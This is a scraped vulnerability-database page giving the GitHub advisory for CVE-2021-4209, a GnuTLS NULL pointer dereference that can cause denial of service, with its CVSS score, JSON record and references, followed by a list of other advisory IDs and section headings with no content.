      "url": "https://github.com/strukturag/libde265/issues/393"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00032.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ78-H3GX-CM6V

Vulnerability from github – Published: 2022-08-25 00:00 – Updated: 2022-08-29 20:06

Details

A NULL pointer dereference flaw was found in GnuTLS. As Nettle's hash update functions internally call memcpy, providing zero-length input may cause undefined behavior. This flaw leads to a denial of service after authentication in rare circumstances.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-4209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-24T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A NULL pointer dereference flaw was found in GnuTLS. As Nettle\u0027s hash update functions internally call memcpy, providing zero-length input may cause undefined behavior. This flaw leads to a denial of service after authentication in rare circumstances.",
  "id": "GHSA-xj78-h3gx-cm6v",
  "modified": "2022-08-29T20:06:54Z",
  "published": "2022-08-25T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4209"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-4209"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2044156"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/gnutls/-/commit/3db352734472d851318944db13be73da61300568"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/gnutls/-/issues/1306"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/gnutls/-/merge_requests/1503"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220915-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-476

NULL Pointer Dereference

GHSA-XHQX-MGH3-3H7Q

Summary

Vulnerable code

Reach

Proof of concept (end-to-end against running daemon)

Impact

Suggested fix

Reporter notes

GHSA-XHVW-2W3W-FWPC

GHSA-XHVX-9W5H-Q8Q6

GHSA-XHWR-F5XV-7GQC

GHSA-XHXP-853R-966X

GHSA-XJ47-998Q-QJGW

GHSA-XJ5J-G4WP-WCF5

GHSA-XJ6G-C6GV-VMJP

GHSA-XJ6J-6M68-MR7H

GHSA-XJ78-H3GX-CM6V

Mitigation MIT-56

Mitigation

Mitigation

Mitigation

Mitigation